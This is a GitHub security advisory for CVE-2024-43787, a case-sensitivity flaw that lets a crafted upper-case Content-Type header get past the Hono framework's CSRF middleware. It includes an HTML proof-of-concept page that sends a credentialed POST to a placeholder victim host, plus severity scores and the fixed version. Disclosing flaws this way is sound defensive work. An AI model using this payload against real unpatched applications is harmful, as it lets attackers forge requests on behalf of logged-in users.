GHSA-RPFR-3M35-5VX5

Vulnerability from github – Published: 2024-08-22 16:41 – Updated: 2024-11-18 16:27
VLAI
Summary
Hono CSRF middleware can be bypassed using crafted Content-Type header
Details

Summary

Hono CSRF middleware can be bypassed using crafted Content-Type header.

Details

MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.

https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".

PoC

<html>
  <head>
    <title>CSRF Test</title>
    <script defer>
      document.addEventListener("DOMContentLoaded", () => {
        document.getElementById("btn").addEventListener("click", async () => {
          const res = await fetch("http://victim.example.com/test", {
            method: "POST",
            credentials: "include",
            headers: {
              "Content-Type": "Application/x-www-form-urlencoded",
            },
          });
        });
      });
    </script>
  </head>
  <body>
    <h1>CSRF Test</h1>
    <button id="btn">Click me!</button>
  </body>
</html>

Impact

Bypass csrf protection implemented with hono csrf middleware.

Discussion

I'm not sure that omitting csrf checks for Simple POST request is a good idea. CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.

Severity
5.0 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
2.3 (Low)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "hono"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-43787"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-22T16:41:08Z",
    "nvd_published_at": "2024-08-22T15:15:16Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\nHono CSRF middleware can be bypassed using crafted Content-Type header.\n\n### Details\n\nMIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case.\n\nhttps://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17\n\nAs a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as \"Application/x-www-form-urlencoded\".\n\n### PoC\n\n```html\n\u003chtml\u003e\n  \u003chead\u003e\n    \u003ctitle\u003eCSRF Test\u003c/title\u003e\n    \u003cscript defer\u003e\n      document.addEventListener(\"DOMContentLoaded\", () =\u003e {\n        document.getElementById(\"btn\").addEventListener(\"click\", async () =\u003e {\n          const res = await fetch(\"http://victim.example.com/test\", {\n            method: \"POST\",\n            credentials: \"include\",\n            headers: {\n              \"Content-Type\": \"Application/x-www-form-urlencoded\",\n            },\n          });\n        });\n      });\n    \u003c/script\u003e\n  \u003c/head\u003e\n  \u003cbody\u003e\n    \u003ch1\u003eCSRF Test\u003c/h1\u003e\n    \u003cbutton id=\"btn\"\u003eClick me!\u003c/button\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\n\nBypass csrf protection implemented with hono csrf middleware.\n\n### Discussion\n\nI\u0027m not sure that omitting csrf checks for Simple POST request is a good idea.\nCSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.\n",
  "id": "GHSA-rpfr-3m35-5vx5",
  "modified": "2024-11-18T16:27:06Z",
  "published": "2024-08-22T16:41:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/security/advisories/GHSA-rpfr-3m35-5vx5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43787"
    },
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/commit/41ce840379516410dee60c783142e05bb5a22449"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/honojs/hono"
    },
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Hono CSRF middleware can be bypassed using crafted Content-Type header"
}



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